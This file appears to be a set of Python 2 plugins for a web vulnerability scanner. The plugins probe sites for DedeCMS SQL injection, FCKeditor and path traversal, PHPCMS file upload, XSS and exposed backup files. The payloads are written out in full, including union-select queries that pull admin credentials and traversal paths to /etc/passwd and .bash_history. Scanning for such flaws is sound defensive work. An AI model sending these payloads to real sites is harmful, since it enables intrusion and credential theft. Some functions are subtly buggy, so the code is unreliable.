def LinkInjectionCheck(http, ob, url, header): try: result = [] if url == "": return result #end if expurl = "%s%s" % (url, "<iframe%20src=http://www.baidu.com></iframe>") res, content = http.request(expurl, 'GET', headers=header) if res['status'] == '404' or len(content) <= 0: return result if page_similar(res.get('status'), content, ob.get('404_page')): return result if page_similar(res.get('status'), content, ob.get('waf_page')): return result #end if flag, keyword = LinkGetKeyWord(content, "src=http://www.baidu.com></iframe>") if flag: detail = u"该URL可能会导致链接注入。测试链接为:" detail = "%s%s%s" % (detail.encode('utf-8'), url, keyword) request = getRequest("%s%s" % (url, keyword), domain=ob['domain']) response = getResponse(res) result.append( getRecord(ob, url, ob['level'], detail, request, response)) #end if return result except Exception, e: logger.error( "File:LinkInjectionScript.py, LinkInjectionCheck function :" + str(e)) return []
def run_domain(http,ob): result = [] try: os = ob.get('os') if os == 'windows': return [] scheme = ob['scheme'] domain = ob['domain'] path = ob['path'] http = HttpRequest({'timeout': 10, 'follow_redirects': False}) # 格式化path if not path: path = '/' # path 为空补全/ elif path[-1] == '/': pass # path以/结尾不处理,包括path == '/'的情况 else: # path 不以/结尾 tail = path.split('/')[-1] if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php n = len(tail) path = path[0:-n] # 去掉最后包含.的一截 else: path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ ".bash_history", "root/.bash_history", "home/test/.bash_history", "web/.bash_history", "../../../../../../../../../../../../.bash_history", "../../../../../../../../../../../../root/.bash_history", "../../../../../../../../../../../../home/test/.bash_history", "../../../../../../../../../../../../home/web/.bash_history" ] new_header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip for inj_path in inj_path_list: new_url = "%s://%s%s%s" % (scheme, domain, path, inj_path) try: res, content = http.request(new_url, 'HEAD', redirections=5, headers=new_header) if res and res.get('status') == '200': res2, content2 = http.request(new_url, 'GET', redirections=5, headers=new_header) if res2 and res2.get('status') == '200' and content2: if page_similar(res.get('status'), content2, ob.get('404_page')): continue if page_similar(res.get('status'), content2, ob.get('waf_page')): continue detail = "检测到可能含有敏感信息的文件" request = getRequest(new_url, new_header, domain=ob['domain']) response = getResponse(res2, content2) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) except: pass except Exception, e: logger.error("File:BashhistoryDisclosureScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob, inj_dir=""): ''' CVE-2009-2324 CNNVD-200907-071 FCKeditor是一款开放源码的HTML文本编辑器 。 FCKeditor没有正确地验证用户对多个connector模块所传送的输入,远程攻击者可以利用samples目录中的组件注入任意脚本或HTML,或通过目录遍历攻击上传恶意文件 。 CVSS分值: 4.3 [中等(MEDIUM)] CWE-79 [在Web页面生成时对输入的转义处理不恰当(跨站脚本)] ''' frame = ob.get('siteType') if frame and frame in ['jsp', 'asp', 'aspx']: return [] http = HttpRequest({'timeout': 10, 'follow_redirects': False}) result = [] try: result = [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip inj_path_list = [ "/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=../&CurrentFolder=%2F", "/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=%c0%ae%c0%ae/&CurrentFolder=%2F", "/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=..%2F&CurrentFolder=%2F", "/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=..%252F&CurrentFolder=%2F", "/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=%2e%2e%2fF&CurrentFolder=%2F", "/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=%252e%252e%252fF&CurrentFolder=%2F", # "/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=../&CurrentFolder=%2F", "/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=%c0%ae%c0%ae/&CurrentFolder=%2F", "/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=..%2F&CurrentFolder=%2F", "/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=..%252F&CurrentFolder=%2F", "/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=%2e%2e%2fF&CurrentFolder=%2F", "/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=%252e%252e%252fF&CurrentFolder=%2F" ] for inj_path in inj_path_list: url = "%s://%s%s%s" % (scheme, domain, inj_dir, inj_path) res, content = http.request(url, 'GET', headers=header) if res and res.get('status') == '200': if page_similar(res.get('status'), content, ob.get('404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = "检测到FCKeditor目录遍历漏洞" request = getRequest(url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, url, ob['level'], detail, request, response)) break except Exception, e: logger.error( "File:FCKeditorForPhpDirScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): ''' CVE-2009-3806 CNNVD-200910-394 DeDeCMS v5.1“plus/feedback_js.php”SQL注入 CWE-89 [SQL命令中使用的特殊元素转义处理不恰当(SQL注入)] ''' result = [] try: frame = ob.get('siteType') if frame and frame in ['jsp', 'asp', 'aspx']: return [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip result = [] inj_path_list = [ "/plus/feedback_js.php?arcurl=%cf%27%20union%20select%20%22%27" \ "%20and%201=2%20union%20select%201,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1" \ "%20as%20msg%20from%20yxwodede_admin%20where%201=1%20union%20select%20*%20from" \ "%20yxwodede_feedback%20d%20where%201=2%20%20and%20%27%27=%27%22%20from%20yxwodede_admin%20where%20%27%27=%27", "/dede/plus/feedback_js.php?arcurl=%cf%27%20union%20select%20%22%27" \ "%20and%201=2%20union%20select%201,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1" \ "%20as%20msg%20from%20yxwodede_admin%20where%201=1%20union%20select%20*%20from" \ "%20yxwodede_feedback%20d%20where%201=2%20%20and%20%27%27=%27%22%20from%20yxwodede_admin%20where%20%27%27=%27" ] for inj_path in inj_path_list: new_url = "%s://%s%s" % (scheme, domain, inj_path) res, content = http.request(new_url, 'GET', headers=header) if res and res.get('status') == '200' and re.search( r'<h2>(.*?)</h2>', content): # if res and res.get('status') == '200' and content: if page_similar(res.get('status'), content, ob.get('404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = "检测到织梦CMS'feedback_js.php'SQL注入漏洞" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:DedeCms5_1Feedback_jsSqlInjectionScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): ''' 未启用,无效插件, 与DedeCms5_7Ajax_membergroupSqlInjectionScript_yd.py重复 :param http: :param ob: :return: ''' result = [] try: frame = ob.get('siteType') if frame and frame in ['jsp', 'asp', 'aspx']: return [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip result = [] inj_path_list = [ "/member/ajax_membergroup.php?action=post&membergroup=%40%60%27%60+Union+select+" \ "userid+from+%60%23%40__admin%60+where+1+or+id%3d%40%60%27%60", "/dede/member/ajax_membergroup.php?action=post&membergroup=%40%60%27%60+Union+select+" \ "userid+from+%60%23%40__admin%60+where+1+or+id%3d%40%60%27%60" ] for inj_path in inj_path_list: new_url = "%s://%s%s" % (scheme, domain, inj_path) res, content = http.request(new_url, 'GET', headers=header) # if res and res.get('status') == '200' and re.search(r'<h2>(.*?)</h2>', content): if res and res.get('status') == '200' and content: if page_similar(res.get('status'), content, ob.get('404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = '检测到织梦CMS\'/member/ajax_membergroup.php\'SQL注入漏洞' request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:DedeCms5_1TagSqlInjection1Script_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): result = [] try: frame = ob.get('siteType') if frame and frame in ['asp', 'aspx', 'jsp']: return [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip result = [] inj_path_list = [ "/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20" \ "mid=@%60\\%27%60/*!50000union*//*!50000select*/1,2,3,%28select%20CONCAT%280x7c," \ "userid,0x7c,pwd%29+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60\\%27%60+&" \ "_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294", "/dede/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20" \ "mid=@%60\\%27%60/*!50000union*//*!50000select*/1,2,3,%28select%20CONCAT%280x7c," \ "userid,0x7c,pwd%29+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60\\%27%60+&" \ "_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294" ] for inj_path in inj_path_list: new_url = "%s://%s%s" % (scheme, domain, inj_path) res, content = http.request(new_url, 'GET', headers=header) # if res and res.get('status') == '200' and re.search(r'<h2>(.*?)</h2>', content): if res and res.get('status') == '200' and content: if page_similar(res.get('status'), content, ob.get('404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = '检测到织梦CMS\'recommend.php\'SQL注入漏洞' request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:DedeCms_recommendSqlScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): result = [] try: frame = ob.get('siteType') if frame and frame in ['jsp', 'asp', 'aspx']: return [] scheme = ob.get('scheme') domain = ob.get('domain') header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip path = ob.get('path', '/') if not path or path[-1] != '/': path += '/' payload = 'index.php?m=member&c=index&a=register&siteid=1' new_url = '%s://%s%s%s' % (scheme, domain, path, payload) body_data = { 'siteid': '1', 'modelid': '1', 'username': '******', 'password': '******', 'email': '*****@*****.**', 'info[content]': '<img src=https://scan.yundun.com/static/js/yundun_test.txt?.php#.jpg>', 'dosubmit': '1', 'protocol': '' } body_str = urlencode(body_data) res, content = http.request(new_url, 'POST', headers=header, body=body_str) if res and res.get('status') == '200': if page_similar(res.get('status'), content, ob.get('404_page')): return [] if page_similar(res.get('status'), content, ob.get('waf_page')): return [] detail = '检测到PHPCMS v9.6.0 任意文件上传漏洞' request = postRequest(new_url, body=body_str, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( 'File: php_cms_v9_6_0_file_upload.py function: run_domain eror:%s' % str(e))
def run_url(http,ob,item): result = [] try: frame = ob.get('siteType') if frame and frame in ['jsp', 'asp', 'aspx']: return [] url = item['url'] result = [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip if re.search(r'/dede\b', url): path = urlparse(url)['path'] base_path = path.split('/dede')[0] new_path = base_path + '/dede/login.php' new_url = "%s://%s%s" % (scheme,domain,new_path) res, content = http.request(new_url, 'GET', headers=header) if res and res.get('status') == '200' and content: if page_similar(res.get('status'), content, ob.get('waf_page')): return [] detail = '检测到织梦CMS后台管理路径' result.append(getRecord(ob, url, ob['level'], detail, request=url, response='')) except Exception, e: logger.error("File:FindDedeCmsScript_yd.py, run_url function :%s" % (str(e)))
def run_domain(http, ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip new_url = "%s://%s/%s" % ( scheme, domain, "ftb.imagegallery.aspx?frame=1&rif=..&cif=\..") res, content = http.request(new_url, headers=header) if res and res.get('status') == 200 and content: if page_similar(res.get('status'), content, ob.get('404_page')): return [] detail = '检测到正方教学管理系统遍历目录漏洞' request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:ZhengFangDirectoryTraversalScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): ''' 插件名称:检测到DeDeCMS 存在日志文件 :param http: :param ob: :return: ''' result = [] try: frame = ob.get('siteType') if frame and frame in ['asp', 'aspx', 'jsp']: return [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip result = [] inj_path_list = [ "/data/mysql_error_trace.inc", "/dede/data/mysql_error_trace.inc" ] for inj_path in inj_path_list: new_url = "%s://%s%s" % (scheme, domain, inj_path) res, content = http.request(new_url, 'GET', headers=header) if res and res.get('status') == '200' and content: if page_similar(res.get('status'), content, ob.get('404_page')): continue if page_similar(res.get('status'), content, ob.get('waf_page')): continue detail = '检测到织梦CMS数据库日志文件' request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:DedeCms_IncFile_Script_yd.py, run_domain function :%s" % (str(e)))
def check_page_similar(status1, content1, status2, content2, rate=0.96): ''' 用于比较页面相似度,插件规则都可以用 :param status: 响应状态码 str :param content: 响应body str :param rate: 相似度阈值 :return: True 大于等于阈值,表示页面相似度高; False 小于阈值,表示页面相似度不高 ''' page_dict = {'status': status2, 'content': content2, 'similar_rate': rate} return page_similar(status1, content1, page_dict)
def run_url(http,ob,item): detail="" detail=detail.encode('utf8') list=[] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') try: url=item['url'] url_parse = urlparse.urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if source_ip: domain = source_ip if query: url = "%s://%s%s?%s" % (scheme, domain, path, query) else: url = "%s://%s%s" % (scheme, domain, path) if url.find(".gif")<0 and url.find(".jpg")<0: return list explist=['/c.php','%00.php'] for exp in explist: expurl="%s%s"%(url,exp) response, content = http.request(url, 'GET', headers=header) if response['status']=='200' and response['content-type']=='text/html': if page_similar(response.get('status'), content, ob.get('404_page')): continue if page_similar(response.get('status'), content, ob.get('waf_page')): continue else: request = getRequest(expurl, domain=ob['domain']) response = getResponse(response) list.append(getRecord(ob,expurl,ob['level'],detail,request,response)) break return list except Exception,e: logger.error("File:NginxParsingVulnerabilities.py, run_url function :" + str(e)) return list
def run_domain(http, ob): result = [] try: result = [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip input_path = ob['path'] safe_version = '3.2.6.4' # 目前比较安全的版本,如果爆出漏洞,需要修改此参数值 inj_path_list = [ "/fckeditor/editor/dialog/fck_about.html", "/FCKeditor/_whatsnew.html" # "/upload/common/lib/fckeditor/editor/dialog/fck_about.html", # "/upload/common/lib/FCKeditor/_whatsnew.html" ] for inj_path in inj_path_list: url = "%s://%s%s" % (scheme, domain, inj_path) res, content = http.request(url, 'GET', headers=header) if res and res.get('status') == '200': if page_similar(res['status'], content, ob.get('404_page')): continue if page_similar(res['status'], content, ob.get('waf_page')): continue version = re.search( r'\b[1-4]\.[\d]{1,2}\.[\d]{1,2}(\.[\d]{1,2})?\b', content) for version_str in version.group(): if version_str and version_str < safe_version: detail = "FCKeditor当前版本过低,请及时升级到CKEditor最新版本" request = getRequest(url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, url, ob['level'], detail, request, response)) except Exception, e: logger.error("File:FCKeditorVersion_yd.py, run_domain function :%s" % (str(e)))
def run_url(http, ob, item): inj_list = [ '/test<script>alert(133)</script>', '\'-<script>alert(133)</script>', '\"-<script>alert(133)</script>', '%27-<script>alert(133)</script>', '%2527-<script>alert(133)</script>', '%22-<script>alert(133)</script>', '%2522-<script>alert(133)</script>' ] result = [] domain = ob['domain'] scheme = ob['scheme'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip url = item['url'] url_parse = urlparse(url) path = url_parse.path query = url_parse.query try: result = [] header = { "Host": ob['domain'], "Referer": '%s://%s/' % (scheme, ob['domain']), "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Cache-Control": "no-cache", "Content-Type": "application/x-www-form-urlencoded", "Cookie": ob.get('cookie') if ob.get('cookie') else '', } for inj_value in inj_list: new_url = "%s://%s%s?%s%s" % (scheme, domain, path, query, inj_value) res, content = http.request(new_url, 'GET', headers=header) if res and res.has_key('status') and res['status'] == '200': if page_similar(res.get('status'), content, ob.get('404_page')): continue keyword = re.search(r'<script>alert(133)</script>', content) if keyword: response = getResponse(res, content) request = getRequest(new_url, domain=ob['domain']) detail = "存在url注入的XSS漏洞" result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error("File:xss_script_domain.py, run_domain function :%s" % (str(e)))
def run_domain(http, config): ''' 重写run_url函数,实现检测SQL注入的功能 有异常时,直接输出异常 无异常时,以list类型返回检测结果记录 ''' # 重新组织请求的参数 scanInfo = {} scanInfo['siteId'] = config['siteId'] scanInfo['ip'] = config['ip'] scanInfo['scheme'] = config['scheme'] scanInfo['domain'] = config['domain'] scanInfo['level'] = config['level'] scanInfo['vulId'] = config['vulId'] headers = headerDictDefault # headers['cookie'] = config['cookie'] headers['cookie'] = "bOX_sid=zFNIm9" headers['Host'] = config['domain'] source_ip = config.get('source_ip') responseList = [] try: if source_ip: urlBase = scanInfo['scheme'] + "://" + source_ip else: urlBase = scanInfo['scheme'] + "://" + scanInfo['domain'] url = urlBase + "/admincp.php?infloat=yes&handlekey=123);alert(/tester_xss_showmessage/);//" response = request(url=url, headers=headers) if response['httpcode'] == 200: if response['response_body'].find("tester_xss_showmessage") != -1: if page_similar(response['httpcode'], response['response_body'], config.get('waf_page')): return [] injectInfo = returnInjectResult( url=url, confirm=1, detail="Discuz7 未对 handlekey 严格过滤导致存在SQL盲注", response=response) responseList.append(getRecord2(scanInfo, injectInfo)) return responseList except Exception, e: logger.error("File:Discuz7_xss_showmessage_yd.py:" + str(e))
def run_domain(http, ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] cookie = ob['cookie'] header = {'Host': domain, 'Cookie': cookie} source_ip = ob.get('source_ip') if source_ip: domain = source_ip for inj_path in inj_path_list: new_url = "%s://%s/%s" % (scheme, domain, inj_path) try: res, content = http.request(new_url, method='HEAD', headers=header) if res and res.get('status') == '200': res2, content2 = http.request(new_url, method='GET', headers=header) if res2 and res2.get('status') == '200' and content2: if page_similar(res2.get('status'), content2, ob.get('404_page')): continue detail = "检测到后台管理路径" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res2, content2) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) break except Exception, e: pass except Exception, e: logger.error("File:manage_page.py, run_domain function :%s" % (str(e)))
def run_domain(http,ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} http = HttpRequest({'timeout': 10, 'follow_redirects': False}) # path = ob['path'] # # 格式化path # if not path: # path = '/' # path 为空补全/ # elif path[-1] == '/': # pass # path以/结尾不处理,包括path == '/'的情况 # else: # path 不以/结尾 # tail = path.split('/')[-1] # if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php # n = len(tail) # path = path[0:-n] # 去掉最后包含.的一截 # else: # path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ domain, domain.split(".")[1], domain.split(".", 1)[0], domain.split(".", 1)[1], "bak", "back", "backup", "beifen", "clients", "customers", "database", "db", "db1", "ewebeditor", "install_data", "localhost", "log", "members", "mysql", "mysql.initial", "MySQL", "password", "passwords", "personal", "private", "schema", "snapshot", "sql", "sqldump", "test", "users" ] postfix_list = [ ".sql", ".mdb", ".sqlite", ".log", ".inc" ] source_ip = ob.get('source_ip') if source_ip: domain = source_ip dir_list = ob.get('site_dir') if not dir_list: dir_list = ['/'] for inj_dir in dir_list: if not inj_dir or inj_dir[-1] != '/': inj_dir += '/' for inj_path in inj_path_list: for postfix in postfix_list: new_url = "%s://%s%s%s%s" % (scheme, domain, inj_dir, inj_path, postfix) try: res, content = http.request(new_url, 'HEAD', headers=header) if res and res.get('status') == '200': res2, content2 = http.request(new_url, 'GET', headers=header) if res2 and res2.get('status') == '200' and content2: if page_similar(res.get('status'), content2, ob.get('404_page')): continue if page_similar(res.get('status'), content2, ob.get('waf_page')): continue detail = "检测到可能含有敏感信息的文件" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res2, content2) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error("File:SqlFileCheckScript_yd.py, run_domain function :%s" % (str(e))) except Exception, e: logger.error("File:SqlFileCheckScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): result = [] try: scheme = ob['scheme'] domain = ob['domain'] path = ob['path'] header = {'Host': domain} http = HttpRequest({'timeout': 6, 'follow_redirects': False}) # 格式化path # if not path: # path = '/' # path 为空补全/ # elif path[-1] == '/': # pass # path以/结尾不处理,包括path == '/'的情况 # else: # path 不以/结尾 # tail = path.split('/')[-1] # if re.search('\.', tail): # path 最后一截包含. 比如/test/test.php # n = len(tail) # path = path[0:-n] # 去掉最后包含.的一截 # else: # path += '/' # path最后一截不包含. 在末尾补全/ inj_path_list = [ domain, domain.split(".")[1], domain.split(".", 1)[0], domain.split(".", 1)[1], "1", "2017", "acl", "admin", "asp", "aspx", "back", "backup", "bbs", "beifen", "ceshi", "code", "copy", "databackup", "database", "db", "do", "error", "ftp", "help", "htdoc", "htdocs", "index", "info.php", "jsp", "manage", "leapftp", "log", "php", "phpinfo.php", "php_info.php", "rar", "root", "sem", "sql", "sqldump", "src", "test", "tool", "tools", "upload", "web", "WEB-INF", "wse", "www", "wwwroot", "xml" ] postfix_list = [ ".zip", ".gzip", ".rar", ".tar", ".tar.gz", # ".tgz", # ".7z" ] source_ip = ob.get('source_ip') if source_ip: domain = source_ip dir_list = ob.get('site_dir') if not dir_list: dir_list = ['/'] dir_list = dir_list[:10] for inj_dir in dir_list: if not inj_dir or inj_dir[-1] != '/': inj_dir += '/' for inj_path in inj_path_list: for postfix in postfix_list: sleep(0.05) new_url = "%s://%s%s%s%s" % (scheme, domain, inj_dir, inj_path, postfix) try: res, content = http.request(new_url, 'HEAD', headers=header) if res and res.get('status') == '200': res2, content2 = http.request(new_url, 'GET', headers=header) if res2 and res2.get( 'status') == '200' and content2: if page_similar(res2.get('status'), content2, ob.get('404_page')): continue if page_similar( res2.get('status'), content2, ob.get( 'waf_page')): # 敏感文件扫描暂不用waf拦截页面判断 continue detail = "检测到可能含有敏感信息的文件" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res2, content2) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:BakFileCheckScript_yd.py, run_domain function :%s" % (str(e))) except Exception, e: logger.error( "File:CompressFileCheckScript_yd.py, run_domain function :%s" % (str(e)))
def run_url(http, ob, item): result_list = [] url = item['url'] params = item['params'] method = item['method'] task_id = ob['taskId'] # rules = [{"judge": {"similar": {"mode": "less_than", "value": 0.6}, "http_code": {"mode": "equal", "value": ["200", "999"]}}, # "inj_way": "replace", "inj_point": "", "inj_value": "../../../../../../../../../../../../../etc/passwd", "area": "params"},] # 从数据库读取task的规则列表(取除path之外的规则) rules = get_rules(task_id) # rule example: ''' { 'area':'params', # inj_types: headers, path, params(body/query) 'inj_point':'(path|page|download)', 'inj_value':['../../../../../etc/passwd'], 'inj_way':'replace', 'judge':{'http_code':'200','keyword':'(root|bin|nobody):'} } ''' header = { "Host": ob['domain'], "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": item['refer'], "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", # "Cookie": ob.get('cookie') } # http = Http(timeout=ob['webTimeout']) if len(rules) == 0: pass else: url_parse = urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query source_ip = ob.get('source_ip') if source_ip: domain = source_ip if query: url = "%s://%s%s?%s" % (scheme, domain, path, query) else: url = "%s://%s%s" % (scheme, domain, path) for rule in rules: res_method = 'HEAD' if rule.get('if_head') else method.upper() if rule.get('judge').get('keyword') or rule.get('judge').get( 'content') or rule.get('judge').get('similar'): redirects = 5 else: http = HttpRequest({'timeout': 10, 'follow_redirects': False}) redirects = 0 res_method = 'HEAD' # header injection if 'header' == rule.get('area'): new_header_list = header_inject(header, rule.get('inj_point'), rule.get('inj_value'), rule.get('inj_way')) for new_header in new_header_list: if 'post' == method: params = post_params2str(params) try: res, content = http.request(url, res_method, params, new_header, redirections=redirects) # # ---------- verify 404 page by lichao if page_similar(res.get('status'), content, ob.get('404_page')): continue # # ----------- verify waf page by lichao if page_similar(res.get('status'), content, ob.get('waf_page')): continue # # ----------- # # get normal_res first if content compare is necessary if rule.get('judge').get('similar'): normal_res, normal_cont = http.request( url, res_method, params, header) else: normal_res = None normal_cont = None # 根据http请求结果判断是否有漏洞 if result_judge(normal_res, normal_cont, res, content, **rule.get('judge')): response = getResponse(res, content) request = getRequest(url, res_method, headers=new_header, body=params, domain=ob['domain']) detail = "注入规则:" + json.dumps(rule) ob['vulId'] = rule.get('vul_id') result_list.append( getRecord(ob, url, ob['level'], detail, request, response)) except Exception, e: logger.exception( "File:rule_scan_script_url.py,rule_id:%s , run_domain function :%s" % (rule.get('rule_id'), str(e))) pass # params injection include query&body elif 'params' == rule.get('area'): try: if url_parse.query: new_query_list = query_inject(url_parse.query, rule.get('inj_point'), rule.get('inj_value'), rule.get('inj_way')) for query in new_query_list: new_url = urlunparse( (url_parse.scheme, domain, url_parse.path, '', query, '')) if 'post' == method: new_params = post_params2str(params) try: res, content = http.request(new_url, res_method, body=new_params, headers=header) # print res # # ---------- verify 404 by lichao if page_similar(res.get('status'), content, ob.get('404_page')): continue # # ----------- verify waf page by lichao if page_similar(res.get('status'), content, ob.get('waf_page')): continue # # get normal_res first if content compare is necessary if rule.get('judge').get('similar'): normal_res, normal_cont = http.request( url, res_method, params, header) else: normal_res = None normal_cont = None # 根据http请求结果判断是否有漏洞 if result_judge(normal_res, normal_cont, res, content, **rule.get('judge')): response = getResponse(res, content) request = getRequest(new_url, res_method, headers=header, body=params, domain=ob['domain']) detail = "注入规则:" + json.dumps(rule) ob['vulId'] = rule.get('vul_id') result_list.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.exception( "File:rule_scan_script_url.py,rule_id:%s , run_domain function :%s" % (rule.get('rule_id'), str(e))) pass if params: if 'get' == method: new_query_list = query_inject( params, rule.get('inj_point'), rule.get('inj_value'), rule.get('inj_way')) for query in new_query_list: new_url = url + "?" + query try: res, content = http.request(new_url, res_method, body=None, headers=header) # print res # # ---------- verify 404 by lichao if page_similar(res.get('status'), content, ob.get('404_page')): continue # # ----------- verify waf page by lichao if page_similar(res.get('status'), content, ob.get('waf_page')): continue # # get normal_res first if content compare is necessary if rule.get('judge').get('similar'): normal_res, normal_cont = http.request( url, res_method, body=None, headers=header) else: normal_res = None normal_cont = None # 根据http请求结果判断是否有漏洞 if result_judge(normal_res, normal_cont, res, content, **rule.get('judge')): response = getResponse(res, content) request = getRequest( new_url, res_method, headers=header, body=params, domain=ob['domain']) detail = "注入规则:" + json.dumps(rule) ob['vulId'] = rule.get('vul_id') result_list.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.exception( "File:rule_scan_script_domain.py,rule_id:%s , run_domain function :%s" % (rule.get('rule_id'), str(e))) pass else: body_dict = json.loads(params) new_body_list = body_inject( body_dict, rule.get('inj_point'), rule.get('inj_value'), rule.get('inj_way')) if new_body_list: for body in new_body_list: # new_url = urlunparse(url.scheme, url.netloc, url.path, params='', # query=url.query, fragment='') try: res, content = http.request( url, res_method, body=body, headers=header, redirections=redirects) # # ---------- verify 404 by lichao if page_similar( res.get('status'), content, ob.get('404_page')): continue # # ----------- verify waf page by lichao if page_similar( res.get('status'), content, ob.get('waf_page')): continue # # get normal_res first if content compare is necessary if rule.get('judge').get('similar'): if 'post' == method: new_params = post_params2str( params) normal_res, normal_cont = http.request( url, res_method, new_params, header) else: normal_res = None normal_cont = None # 根据http请求结果判断是否有漏洞 if result_judge( normal_res, normal_cont, res, content, **rule.get('judge')): response = getResponse( res, content) request = getRequest( url, res_method, headers=header, body=params, domain=ob['domain']) detail = "注入规则:" + json.dumps(rule) ob['vulId'] = rule.get('vul_id') result_list.append( getRecord( ob, url, ob['level'], detail, request, response)) except Exception, e: logger.exception( "File:rule_scan_script_domain.py,rule_id:%s , run_domain function :%s" % (rule.get('rule_id'), str(e))) pass
